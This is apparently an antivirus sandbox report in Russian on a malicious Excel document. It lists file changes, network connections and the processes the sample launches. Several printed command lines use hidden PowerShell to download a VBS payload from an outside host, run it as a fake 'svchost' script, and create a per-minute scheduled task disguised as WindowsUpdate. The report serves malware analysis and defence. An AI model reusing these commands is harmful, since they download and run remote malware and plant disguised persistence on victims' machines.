Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\windowsupdate
Вредоносные функции
Загружает и запускает на исполнение
- http://fast-cargo.com/images/file/newvbs/1.vbs как c:\users\public\\svchost325.vbs
- \http://fast-cargo.com/images/file/newvbs/1.vbs\ как \$env:public\svchost32.vbs\
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://fast-cargo.com/images/file/newvbs/1.vbs','%Public%\\svchost325.vbs');Start-Process '%Public%\\svchost325.vbs'
- '<SYSTEM32>\schtasks.exe' /Create /sc MINUTE /MO 1 /TN WindowsUpdate /TR "Powershell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\\\"http://fast-cargo.com/images/file/newvbs/1.vbs\\\",\\\"$env:pub...
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\svchost325.vbs
- C:\users\public\svchost32.vbs
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{fadeac2f-8d5f-4c50-bbfa-6891f6084e2f}.tmp
Сетевая активность
Подключается к
- 'fa###cargo.com':80
TCP
Запросы HTTP GET
- http://fa###cargo.com/images/file/newvbs/1.vbs
UDP
- DNS ASK fa###cargo.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\svchost325.vbs"
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\svchost32.vbs"
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\svchost325.vbs"
- '<SYSTEM32>\taskeng.exe' {AF25ECC0-6FD0-400E-9717-C8AA3A8C35C9} S-1-5-21-3150914307-1777937420-491476919-1000:wfgemyxb\user:Interactive:[1]
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '<SYSTEM32>\cmd.exe' /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://fast-cargo.com/images/file/newvbs/1.vbs','%Public%\\svchost325.vbs');Start-Process '%Public%\\svchost325.vbs' (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Create /sc MINUTE /MO 1 /TN WindowsUpdate /TR "Powershell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\\\"http://fast-cargo.com/images/file/newvbs/1.vbs\\\",\\\"$env:pub... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\"http://fast-cargo.com/images/file/newvbs/1.vbs\",\"$env:public\svchost32.vbs\");(New-Object -com Shell.Application).ShellExe... (со скрытым окном)
